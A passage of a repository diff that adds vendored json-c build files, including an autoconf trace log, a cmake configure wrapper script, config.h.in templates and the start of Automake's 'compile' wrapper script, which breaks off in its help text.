m4trace:configure.ac:69: -1- m4_pattern_allow([^HAVE___THREAD$])
m4trace:configure.ac:69: -1- AH_OUTPUT([HAVE___THREAD], [/* Have __thread */
@%:@undef HAVE___THREAD])
m4trace:configure.ac:69: -1- AC_DEFINE_TRACE_LITERAL([SPEC___THREAD])
m4trace:configure.ac:69: -1- m4_pattern_allow([^SPEC___THREAD$])
m4trace:configure.ac:69: -1- AH_OUTPUT([SPEC___THREAD], [/* Specifier for __thread */
@%:@undef SPEC___THREAD])
m4trace:configure.ac:75: -1- AH_OUTPUT([HAVE_VPRINTF], [/* Define to 1 if you have the `vprintf\' function. */
@%:@undef HAVE_VPRINTF])
m4trace:configure.ac:75: -1- AC_DEFINE_TRACE_LITERAL([HAVE_VPRINTF])
m4trace:configure.ac:75: -1- m4_pattern_allow([^HAVE_VPRINTF$])
m4trace:configure.ac:75: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DOPRNT])
m4trace:configure.ac:75: -1- m4_pattern_allow([^HAVE_DOPRNT$])
m4trace:configure.ac:75: -1- AH_OUTPUT([HAVE_DOPRNT], [/* Define to 1 if you don\'t have `vprintf\' but do have `_doprnt.\' */
@%:@undef HAVE_DOPRNT])
m4trace:configure.ac:76: -1- AC_SUBST([LIB@&t@OBJS], ["$LIB@&t@OBJS memcmp.$ac_objext"])
m4trace:configure.ac:76: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
m4trace:configure.ac:76: -1- m4_pattern_allow([^LIB@&t@OBJS$])
m4trace:configure.ac:76: -1- AC_LIBSOURCE([memcmp.c])
m4trace:configure.ac:77: -1- AH_OUTPUT([HAVE_REALLOC], [/* Define to 1 if you have the `realloc\' function. */
@%:@undef HAVE_REALLOC])
m4trace:configure.ac:77: -1- AC_DEFINE_TRACE_LITERAL([HAVE_REALLOC])
m4trace:configure.ac:77: -1- m4_pattern_allow([^HAVE_REALLOC$])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_STRCASECMP], [/* Define to 1 if you have the `strcasecmp\' function. */
@%:@undef HAVE_STRCASECMP])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_STRDUP], [/* Define to 1 if you have the `strdup\' function. */
@%:@undef HAVE_STRDUP])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_STRERROR], [/* Define to 1 if you have the `strerror\' function. */
@%:@undef HAVE_STRERROR])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_SNPRINTF], [/* Define to 1 if you have the `snprintf\' function. */
@%:@undef HAVE_SNPRINTF])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_VSNPRINTF], [/* Define to 1 if you have the `vsnprintf\' function. */
@%:@undef HAVE_VSNPRINTF])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_VASPRINTF], [/* Define to 1 if you have the `vasprintf\' function. */
@%:@undef HAVE_VASPRINTF])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_OPEN], [/* Define to 1 if you have the `open\' function. */
@%:@undef HAVE_OPEN])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_VSYSLOG], [/* Define to 1 if you have the `vsyslog\' function. */
@%:@undef HAVE_VSYSLOG])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_STRNCASECMP], [/* Define to 1 if you have the `strncasecmp\' function. */
@%:@undef HAVE_STRNCASECMP])
m4trace:configure.ac:78: -1- AH_OUTPUT([HAVE_SETLOCALE], [/* Define to 1 if you have the `setlocale\' function. */
@%:@undef HAVE_SETLOCALE])
m4trace:configure.ac:79: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL_INFINITY])
m4trace:configure.ac:79: -1- m4_pattern_allow([^HAVE_DECL_INFINITY$])
m4trace:configure.ac:79: -1- AH_OUTPUT([HAVE_DECL_INFINITY], [/* Define to 1 if you have the declaration of `INFINITY\', and to 0 if you
don\'t. */
@%:@undef HAVE_DECL_INFINITY])
m4trace:configure.ac:80: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL_NAN])
m4trace:configure.ac:80: -1- m4_pattern_allow([^HAVE_DECL_NAN$])
m4trace:configure.ac:80: -1- AH_OUTPUT([HAVE_DECL_NAN], [/* Define to 1 if you have the declaration of `nan\', and to 0 if you don\'t. */
@%:@undef HAVE_DECL_NAN])
m4trace:configure.ac:81: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL_ISNAN])
m4trace:configure.ac:81: -1- m4_pattern_allow([^HAVE_DECL_ISNAN$])
m4trace:configure.ac:81: -1- AH_OUTPUT([HAVE_DECL_ISNAN], [/* Define to 1 if you have the declaration of `isnan\', and to 0 if you don\'t.
*/
@%:@undef HAVE_DECL_ISNAN])
m4trace:configure.ac:82: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL_ISINF])
m4trace:configure.ac:82: -1- m4_pattern_allow([^HAVE_DECL_ISINF$])
m4trace:configure.ac:82: -1- AH_OUTPUT([HAVE_DECL_ISINF], [/* Define to 1 if you have the declaration of `isinf\', and to 0 if you don\'t.
*/
@%:@undef HAVE_DECL_ISINF])
m4trace:configure.ac:83: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL__ISNAN])
m4trace:configure.ac:83: -1- m4_pattern_allow([^HAVE_DECL__ISNAN$])
m4trace:configure.ac:83: -1- AH_OUTPUT([HAVE_DECL__ISNAN], [/* Define to 1 if you have the declaration of `_isnan\', and to 0 if you don\'t.
*/
@%:@undef HAVE_DECL__ISNAN])
m4trace:configure.ac:84: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DECL__FINITE])
m4trace:configure.ac:84: -1- m4_pattern_allow([^HAVE_DECL__FINITE$])
m4trace:configure.ac:84: -1- AH_OUTPUT([HAVE_DECL__FINITE], [/* Define to 1 if you have the declaration of `_finite\', and to 0 if you
don\'t. */
@%:@undef HAVE_DECL__FINITE])
m4trace:configure.ac:86: -1- AC_DEFINE_TRACE_LITERAL([HAVE_ATOMIC_BUILTINS])
m4trace:configure.ac:86: -1- m4_pattern_allow([^HAVE_ATOMIC_BUILTINS$])
m4trace:configure.ac:86: -1- AH_OUTPUT([HAVE_ATOMIC_BUILTINS], [/* Has atomic builtins */
@%:@undef HAVE_ATOMIC_BUILTINS])
m4trace:configure.ac:112: -1- AH_OUTPUT([HAVE_USELOCALE], [/* Define to 1 if you have the `uselocale\' function. */
@%:@undef HAVE_USELOCALE])
m4trace:configure.ac:112: -1- AC_DEFINE_TRACE_LITERAL([HAVE_USELOCALE])
m4trace:configure.ac:112: -1- m4_pattern_allow([^HAVE_USELOCALE$])
m4trace:configure.ac:119: -1- _m4_warn([obsolete], [The macro `AC_TRY_LINK' is obsolete.
You should run autoupdate.], [../../lib/autoconf/general.m4:2698: AC_TRY_LINK is expanded from...
configure.ac:119: the top level])
m4trace:configure.ac:126: -1- AC_DEFINE_TRACE_LITERAL([HAS_GNU_WARNING_LONG])
m4trace:configure.ac:126: -1- m4_pattern_allow([^HAS_GNU_WARNING_LONG$])
m4trace:configure.ac:126: -1- AH_OUTPUT([HAS_GNU_WARNING_LONG], [/* Define if .gnu.warning accepts long strings. */
@%:@undef HAS_GNU_WARNING_LONG])
m4trace:configure.ac:140: -1- LT_INIT
m4trace:configure.ac:140: -1- m4_pattern_forbid([^_?LT_[A-Z_]+$])
m4trace:configure.ac:140: -1- m4_pattern_allow([^(_LT_EOF|LT_DLGLOBAL|LT_DLLAZY_OR_NOW|LT_MULTI_MODULE)$])
m4trace:configure.ac:140: -1- AC_REQUIRE_AUX_FILE([ltmain.sh])
m4trace:configure.ac:140: -1- AC_SUBST([LIBTOOL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([LIBTOOL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LIBTOOL$])
m4trace:configure.ac:140: -1- AC_SUBST([SED])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([SED])
m4trace:configure.ac:140: -1- m4_pattern_allow([^SED$])
m4trace:configure.ac:140: -1- AC_SUBST([FGREP])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([FGREP])
m4trace:configure.ac:140: -1- m4_pattern_allow([^FGREP$])
m4trace:configure.ac:140: -1- AC_SUBST([GREP])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([GREP])
m4trace:configure.ac:140: -1- m4_pattern_allow([^GREP$])
m4trace:configure.ac:140: -1- AC_SUBST([LD])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([LD])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LD$])
m4trace:configure.ac:140: -1- AC_SUBST([DUMPBIN])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([DUMPBIN])
m4trace:configure.ac:140: -1- m4_pattern_allow([^DUMPBIN$])
m4trace:configure.ac:140: -1- AC_SUBST([ac_ct_DUMPBIN])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([ac_ct_DUMPBIN])
m4trace:configure.ac:140: -1- m4_pattern_allow([^ac_ct_DUMPBIN$])
m4trace:configure.ac:140: -1- AC_SUBST([DUMPBIN])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([DUMPBIN])
m4trace:configure.ac:140: -1- m4_pattern_allow([^DUMPBIN$])
m4trace:configure.ac:140: -1- AC_SUBST([NM])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([NM])
m4trace:configure.ac:140: -1- m4_pattern_allow([^NM$])
m4trace:configure.ac:140: -1- AC_SUBST([LN_S], [$as_ln_s])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([LN_S])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LN_S$])
m4trace:configure.ac:140: -1- AC_SUBST([OBJDUMP])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([OBJDUMP])
m4trace:configure.ac:140: -1- m4_pattern_allow([^OBJDUMP$])
m4trace:configure.ac:140: -1- AC_SUBST([OBJDUMP])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([OBJDUMP])
m4trace:configure.ac:140: -1- m4_pattern_allow([^OBJDUMP$])
m4trace:configure.ac:140: -1- AC_SUBST([DLLTOOL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([DLLTOOL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^DLLTOOL$])
m4trace:configure.ac:140: -1- AC_SUBST([DLLTOOL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([DLLTOOL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^DLLTOOL$])
m4trace:configure.ac:140: -1- AC_SUBST([AR])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([AR])
m4trace:configure.ac:140: -1- m4_pattern_allow([^AR$])
m4trace:configure.ac:140: -1- AC_SUBST([ac_ct_AR])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([ac_ct_AR])
m4trace:configure.ac:140: -1- m4_pattern_allow([^ac_ct_AR$])
m4trace:configure.ac:140: -1- AC_SUBST([STRIP])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([STRIP])
m4trace:configure.ac:140: -1- m4_pattern_allow([^STRIP$])
m4trace:configure.ac:140: -1- AC_SUBST([RANLIB])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([RANLIB])
m4trace:configure.ac:140: -1- m4_pattern_allow([^RANLIB$])
m4trace:configure.ac:140: -1- m4_pattern_allow([LT_OBJDIR])
m4trace:configure.ac:140: -1- AC_DEFINE_TRACE_LITERAL([LT_OBJDIR])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LT_OBJDIR$])
m4trace:configure.ac:140: -1- AH_OUTPUT([LT_OBJDIR], [/* Define to the sub-directory where libtool stores uninstalled libraries. */
@%:@undef LT_OBJDIR])
m4trace:configure.ac:140: -1- LT_SUPPORTED_TAG([CC])
m4trace:configure.ac:140: -1- AC_SUBST([MANIFEST_TOOL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([MANIFEST_TOOL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^MANIFEST_TOOL$])
m4trace:configure.ac:140: -1- AC_SUBST([DSYMUTIL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([DSYMUTIL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^DSYMUTIL$])
m4trace:configure.ac:140: -1- AC_SUBST([NMEDIT])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([NMEDIT])
m4trace:configure.ac:140: -1- m4_pattern_allow([^NMEDIT$])
m4trace:configure.ac:140: -1- AC_SUBST([LIPO])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([LIPO])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LIPO$])
m4trace:configure.ac:140: -1- AC_SUBST([OTOOL])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([OTOOL])
m4trace:configure.ac:140: -1- m4_pattern_allow([^OTOOL$])
m4trace:configure.ac:140: -1- AC_SUBST([OTOOL64])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([OTOOL64])
m4trace:configure.ac:140: -1- m4_pattern_allow([^OTOOL64$])
m4trace:configure.ac:140: -1- AC_SUBST([LT_SYS_LIBRARY_PATH])
m4trace:configure.ac:140: -1- AC_SUBST_TRACE([LT_SYS_LIBRARY_PATH])
m4trace:configure.ac:140: -1- m4_pattern_allow([^LT_SYS_LIBRARY_PATH$])
m4trace:configure.ac:140: -1- AH_OUTPUT([HAVE_DLFCN_H], [/* Define to 1 if you have the <dlfcn.h> header file. */
@%:@undef HAVE_DLFCN_H])
m4trace:configure.ac:140: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DLFCN_H])
m4trace:configure.ac:140: -1- m4_pattern_allow([^HAVE_DLFCN_H$])
m4trace:configure.ac:148: -1- _m4_warn([obsolete], [The macro `AC_TRY_LINK' is obsolete.
You should run autoupdate.], [../../lib/autoconf/general.m4:2698: AC_TRY_LINK is expanded from...
../../lib/m4sugar/m4sh.m4:639: AS_IF is expanded from...
configure.ac:148: the top level])
m4trace:configure.ac:166: -1- AC_SUBST([JSON_BSYMBOLIC_LDFLAGS])
m4trace:configure.ac:166: -1- AC_SUBST_TRACE([JSON_BSYMBOLIC_LDFLAGS])
m4trace:configure.ac:166: -1- m4_pattern_allow([^JSON_BSYMBOLIC_LDFLAGS$])
m4trace:configure.ac:204: -1- AC_CONFIG_FILES([
Makefile
json-c.pc
tests/Makefile
json-c-uninstalled.pc
])
m4trace:configure.ac:211: -1- AC_SUBST([LIB@&t@OBJS], [$ac_libobjs])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
m4trace:configure.ac:211: -1- m4_pattern_allow([^LIB@&t@OBJS$])
m4trace:configure.ac:211: -1- AC_SUBST([LTLIBOBJS], [$ac_ltlibobjs])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([LTLIBOBJS])
m4trace:configure.ac:211: -1- m4_pattern_allow([^LTLIBOBJS$])
m4trace:configure.ac:211: -1- AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])
m4trace:configure.ac:211: -1- AC_SUBST([am__EXEEXT_TRUE])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([am__EXEEXT_TRUE])
m4trace:configure.ac:211: -1- m4_pattern_allow([^am__EXEEXT_TRUE$])
m4trace:configure.ac:211: -1- AC_SUBST([am__EXEEXT_FALSE])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([am__EXEEXT_FALSE])
m4trace:configure.ac:211: -1- m4_pattern_allow([^am__EXEEXT_FALSE$])
m4trace:configure.ac:211: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_TRUE])
m4trace:configure.ac:211: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_FALSE])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([top_builddir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([top_build_prefix])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([srcdir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([abs_srcdir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([top_srcdir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([abs_top_srcdir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([builddir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([abs_builddir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([abs_top_builddir])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([INSTALL])
m4trace:configure.ac:211: -1- AC_SUBST_TRACE([MKDIR_P])
m4trace:configure.ac:211: -1- AC_REQUIRE_AUX_FILE([ltmain.sh])

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,87 @@
#!/bin/bash
# Wrapper around cmake to emulate useful options
# from the previous autoconf-based configure script.
RUNDIR=$(dirname "$0")
RUNDIR=$(cd "$RUNDIR" && pwd)
CURDIR=$(pwd)
FLAGS=()
usage()
{
exitval="$1"
errmsg="$2"
if [ $exitval -ne 0 ] ; then
exec 1>&2
fi
if [ ! -z "$errmsg" ] ; then
echo "ERROR: $errmsg" 1>&2
fi
cat <<EOF
$0 [<configure_options>] [-- [<cmake options>]]
--prefix=PREFIX install architecture-independent files in PREFIX
--enable-threading Enable code to support partly multi-threaded use
--enable-rdrand Enable RDRAND Hardware RNG Hash Seed generation on
supported x86/x64 platforms.
--enable-shared build shared libraries [default=yes]
--enable-static build static libraries [default=yes]
--disable-Bsymbolic Avoid linking with -Bsymbolic-function
--disable-werror Avoid treating compiler warnings as fatal errors
EOF
exit
}
if [ "$CURDIR" = "$RUNDIR" ] ; then
usage 1 "Please mkdir some other build directory, and run this script from there."
fi
if ! cmake --version ; then
usage 1 "Unable to find a working cmake, please be sure you have it installed and on your PATH"
fi
while [ $# -gt 0 ] ; do
case "$1" in
-h|--help)
usage 0
;;
--prefix)
FLAGS+=(-DCMAKE_INSTALL_PREFIX="$2")
shift
;;
--enable-threading)
FLAGS+=(-DENABLE_THREADING=ON)
;;
--enable-rdrand)
FLAGS+=(-DENABLE_RDRAND=ON)
;;
--enable-shared)
FLAGS+=(-DBUILD_SHARED_LIBS=ON)
;;
--enable-static)
FLAGS+=(-DBUILD_SHARED_LIBS=OFF)
;;
--disable-Bsymbolic)
FLAGS+=(-DDISABLE_BSYMBOLIC=ON)
;;
--disable-werror)
FLAGS+=(-DDISABLE_WERROR=ON)
;;
--)
shift
break
;;
-*)
usage 1 "Unknown arguments: $*"
;;
*)
break
;;
esac
shift
done
exec cmake "${FLAGS[@]}" "$@" "${RUNDIR}"

View File

@ -0,0 +1,4 @@
@PACKAGE_INIT@
include("${CMAKE_CURRENT_LIST_DIR}/@PROJECT_NAME@-targets.cmake")
check_required_components("@PROJECT_NAME@")

View File

@ -0,0 +1,196 @@
/* config.h.in. Generated from configure.ac by autoheader. */
/* Enable RDRAND Hardware RNG Hash Seed */
#cmakedefine ENABLE_RDRAND "@ENABLE_RDRAND@"
/* Enable partial threading support */
#cmakedefine ENABLE_THREADING "@@"
/* Define if .gnu.warning accepts long strings. */
#cmakedefine HAS_GNU_WARNING_LONG "@@"
/* Define to 1 if you have the <dlfcn.h> header file. */
#cmakedefine HAVE_DLFCN_H
/* Define to 1 if you have the <endian.h> header file. */
#cmakedefine HAVE_ENDIAN_H
/* Define to 1 if you have the <fcntl.h> header file. */
#cmakedefine HAVE_FCNTL_H
/* Define to 1 if you have the <inttypes.h> header file. */
#cmakedefine HAVE_INTTYPES_H
/* Define to 1 if you have the <limits.h> header file. */
#cmakedefine HAVE_LIMITS_H
/* Define to 1 if you have the <locale.h> header file. */
#cmakedefine HAVE_LOCALE_H
/* Define to 1 if you have the <memory.h> header file. */
#cmakedefine HAVE_MEMORY_H
/* Define to 1 if you have the <stdarg.h> header file. */
#cmakedefine HAVE_STDARG_H
/* Define to 1 if you have the <stdint.h> header file. */
#cmakedefine HAVE_STDINT_H
/* Define to 1 if you have the <stdlib.h> header file. */
#cmakedefine HAVE_STDLIB_H
/* Define to 1 if you have the <strings.h> header file. */
#cmakedefine HAVE_STRINGS_H
/* Define to 1 if you have the <string.h> header file. */
#cmakedefine HAVE_STRING_H
/* Define to 1 if you have the <syslog.h> header file. */
#cmakedefine HAVE_SYSLOG_H @HAVE_SYSLOG_H@
/* Define to 1 if you have the <sys/cdefs.h> header file. */
#cmakedefine HAVE_SYS_CDEFS_H
/* Define to 1 if you have the <sys/param.h> header file. */
#cmakedefine HAVE_SYS_PARAM_H @HAVE_SYS_PARAM_H@
/* Define to 1 if you have the <sys/stat.h> header file. */
#cmakedefine HAVE_SYS_STAT_H
/* Define to 1 if you have the <sys/types.h> header file. */
#cmakedefine HAVE_SYS_TYPES_H @HAVE_SYS_TYPES_H@
/* Define to 1 if you have the <unistd.h> header file. */
#cmakedefine HAVE_UNISTD_H @HAVE_UNISTD_H@
/* Define to 1 if you have the <xlocale.h> header file. */
#cmakedefine HAVE_XLOCALE_H
/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
#cmakedefine HAVE_DOPRNT
/* Has atomic builtins */
#cmakedefine HAVE_ATOMIC_BUILTINS
/* Define to 1 if you have the declaration of `INFINITY', and to 0 if you
don't. */
#cmakedefine HAVE_DECL_INFINITY
/* Define to 1 if you have the declaration of `isinf', and to 0 if you don't.
*/
#cmakedefine HAVE_DECL_ISINF
/* Define to 1 if you have the declaration of `isnan', and to 0 if you don't.
*/
#cmakedefine HAVE_DECL_ISNAN
/* Define to 1 if you have the declaration of `nan', and to 0 if you don't. */
#cmakedefine HAVE_DECL_NAN
/* Define to 1 if you have the declaration of `_finite', and to 0 if you
don't. */
#cmakedefine HAVE_DECL__FINITE
/* Define to 1 if you have the declaration of `_isnan', and to 0 if you don't.
*/
#cmakedefine HAVE_DECL__ISNAN
/* Define to 1 if you have the `open' function. */
#cmakedefine HAVE_OPEN
/* Define to 1 if you have the `realloc' function. */
#cmakedefine HAVE_REALLOC
/* Define to 1 if you have the `setlocale' function. */
#cmakedefine HAVE_SETLOCALE
/* Define to 1 if you have the `snprintf' function. */
#cmakedefine HAVE_SNPRINTF
/* Define to 1 if you have the `strcasecmp' function. */
#cmakedefine HAVE_STRCASECMP @HAVE_STRCASECMP@
/* Define to 1 if you have the `strdup' function. */
#cmakedefine HAVE_STRDUP
/* Define to 1 if you have the `strerror' function. */
#cmakedefine HAVE_STRERROR
/* Define to 1 if you have the `strncasecmp' function. */
#cmakedefine HAVE_STRNCASECMP @HAVE_STRNCASECMP@
/* Define to 1 if you have the `uselocale' function. */
#cmakedefine HAVE_USELOCALE
/* Define to 1 if you have the `vasprintf' function. */
#cmakedefine HAVE_VASPRINTF
/* Define to 1 if you have the `vprintf' function. */
#cmakedefine HAVE_VPRINTF
/* Define to 1 if you have the `vsnprintf' function. */
#cmakedefine HAVE_VSNPRINTF
/* Define to 1 if you have the `vsyslog' function. */
#cmakedefine HAVE_VSYSLOG @HAVE_VSYSLOG@
#cmakedefine HAVE_STRTOLL
#cmakedefine strtoll @json_c_strtoll@
/* Have __thread */
#cmakedefine HAVE___THREAD
/* Public define for json_inttypes.h */
#cmakedefine JSON_C_HAVE_INTTYPES_H @JSON_C_HAVE_INTTYPES_H@
/* Name of package */
#define PACKAGE "@PROJECT_NAME@"
/* Define to the address where bug reports for this package should be sent. */
#define PACKAGE_BUGREPORT "@JSON_C_BUGREPORT@"
/* Define to the full name of this package. */
#define PACKAGE_NAME "@PROJECT_NAME@"
/* Define to the full name and version of this package. */
#define PACKAGE_STRING "@PROJECT_NAME@ @CPACK_PACKAGE_VERSION_MAJOR@.@CPACK_PACKAGE_VERSION_MINOR@.@CPACK_PACKAGE_VERSION_PATCH@"
/* Define to the one symbol short name of this package. */
#define PACKAGE_TARNAME "@PROJECT_NAME@"
/* Define to the home page for this package. */
#define PACKAGE_URL "https://github.com/json-c/json-c"
/* Define to the version of this package. */
#define PACKAGE_VERSION "@CPACK_PACKAGE_VERSION_MAJOR@.@CPACK_PACKAGE_VERSION_MINOR@.@CPACK_PACKAGE_VERSION_PATCH@"
/* The number of bytes in type int */
#cmakedefine SIZEOF_INT @SIZEOF_INT@
/* The number of bytes in type int64_t */
#cmakedefine SIZEOF_INT64_T @SIZEOF_INT64_T@
/* The number of bytes in type long */
#cmakedefine SIZEOF_LONG @SIZEOF_LONG@
/* The number of bytes in type long long */
#cmakedefine SIZEOF_LONG_LONG @SIZEOF_LONG_LONG@
/* The number of bytes in type size_t */
#cmakedefine SIZEOF_SIZE_T @SIZEOF_SIZE_T@
/* Specifier for __thread */
#cmakedefine SPEC___THREAD @SPEC___THREAD@
/* Define to 1 if you have the ANSI C header files. */
#cmakedefine STDC_HEADERS
/* Version number of package */
#define VERSION "@CPACK_PACKAGE_VERSION_MAJOR@.@CPACK_PACKAGE_VERSION_MINOR@.@CPACK_PACKAGE_VERSION_PATCH@"
/* Define to empty if `const' does not conform to ANSI C. */
#cmakedefine const
/* Define to `unsigned int' if <sys/types.h> does not define. */
#cmakedefine size_t

View File

@ -0,0 +1,2 @@
/* Define to 1 if you have the <inttypes.h> header file. */
#cmakedefine JSON_C_HAVE_INTTYPES_H @JSON_C_HAVE_INTTYPES_H@

347
beacon/lib/json-c/compile Executable file
View File

@ -0,0 +1,347 @@
#! /bin/sh
# Wrapper for compilers which do not understand '-c -o'.
scriptversion=2012-10-14.11; # UTC
# Copyright (C) 1999-2014 Free Software Foundation, Inc.
# Written by Tom Tromey <tromey@cygnus.com>.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# This file is maintained in Automake, please report
# bugs to <bug-automake@gnu.org> or send patches to
# <automake-patches@gnu.org>.
nl='
'
# We need space, tab and new line, in precisely that order. Quoting is
# there to prevent tools from complaining about whitespace usage.
IFS=" "" $nl"
file_conv=
# func_file_conv build_file lazy
# Convert a $build file to $host form and store it in $file
# Currently only supports Windows hosts. If the determined conversion
# type is listed in (the comma separated) LAZY, no conversion will
# take place.
func_file_conv ()
{
file=$1
case $file in
/ | /[!/]*) # absolute file, and not a UNC file
if test -z "$file_conv"; then
# lazily determine how to convert abs files
case `uname -s` in
MINGW*)
file_conv=mingw
;;
CYGWIN*)
file_conv=cygwin
;;
*)
file_conv=wine
;;
esac
fi
case $file_conv/,$2, in
*,$file_conv,*)
;;
mingw/*)
file=`cmd //C echo "$file " | sed -e 's/"\(.*\) " *$/\1/'`
;;
cygwin/*)
file=`cygpath -m "$file" || echo "$file"`
;;
wine/*)
file=`winepath -w "$file" || echo "$file"`
;;
esac
;;
esac
}
# func_cl_dashL linkdir
# Make cl look for libraries in LINKDIR
func_cl_dashL ()
{
func_file_conv "$1"
if test -z "$lib_path"; then
lib_path=$file
else
lib_path="$lib_path;$file"
fi
linker_opts="$linker_opts -LIBPATH:$file"
}
# func_cl_dashl library
# Do a library search-path lookup for cl
func_cl_dashl ()
{
lib=$1
found=no
save_IFS=$IFS
IFS=';'
for dir in $lib_path $LIB
do
IFS=$save_IFS
if $shared && test -f "$dir/$lib.dll.lib"; then
found=yes
lib=$dir/$lib.dll.lib
break
fi
if test -f "$dir/$lib.lib"; then
found=yes
lib=$dir/$lib.lib
break
fi
if test -f "$dir/lib$lib.a"; then
found=yes
lib=$dir/lib$lib.a
break
fi
done
IFS=$save_IFS
if test "$found" != yes; then
lib=$lib.lib
fi
}
# func_cl_wrapper cl arg...
# Adjust compile command to suit cl
func_cl_wrapper ()
{
# Assume a capable shell
lib_path=
shared=:
linker_opts=
for arg
do
if test -n "$eat"; then
eat=
else
case $1 in
-o)
# configure might choose to run compile as 'compile cc -o foo foo.c'.
eat=1
case $2 in
*.o | *.[oO][bB][jJ])
func_file_conv "$2"
set x "$@" -Fo"$file"
shift
;;
*)
func_file_conv "$2"
set x "$@" -Fe"$file"
shift
;;
esac
;;
-I)
eat=1
func_file_conv "$2" mingw
set x "$@" -I"$file"
shift
;;
-I*)
func_file_conv "${1#-I}" mingw
set x "$@" -I"$file"
shift
;;
-l)
eat=1
func_cl_dashl "$2"
set x "$@" "$lib"
shift
;;
-l*)
func_cl_dashl "${1#-l}"
set x "$@" "$lib"
shift
;;
-L)
eat=1
func_cl_dashL "$2"
;;
-L*)
func_cl_dashL "${1#-L}"
;;
-static)
shared=false
;;
-Wl,*)
arg=${1#-Wl,}
save_ifs="$IFS"; IFS=','
for flag in $arg; do
IFS="$save_ifs"
linker_opts="$linker_opts $flag"
done
IFS="$save_ifs"
;;
-Xlinker)
eat=1
linker_opts="$linker_opts $2"
;;
-*)
set x "$@" "$1"
shift
;;
*.cc | *.CC | *.cxx | *.CXX | *.[cC]++)
func_file_conv "$1"
set x "$@" -Tp"$file"
shift
;;
*.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO])
func_file_conv "$1" mingw
set x "$@" "$file"
shift
;;
*)
set x "$@" "$1"
shift
;;
esac
fi
shift
done
if test -n "$linker_opts"; then
linker_opts="-link$linker_opts"
fi
exec "$@" $linker_opts
exit 1
}
eat=
case $1 in
'')
echo "$0: No command. Try '$0 --help' for more information." 1>&2
exit 1;
;;
-h | --h*)
cat <<\EOF
Usage: compile [--help] [--version] PROGRAM [ARGS]
Wrapper for compilers which do not understand '-c -o'.
Remove '-o dest.o' from ARGS, run PROGRAM with the remaining
arguments, and rename the output as expected.
If you are trying to build a whole package this is not the
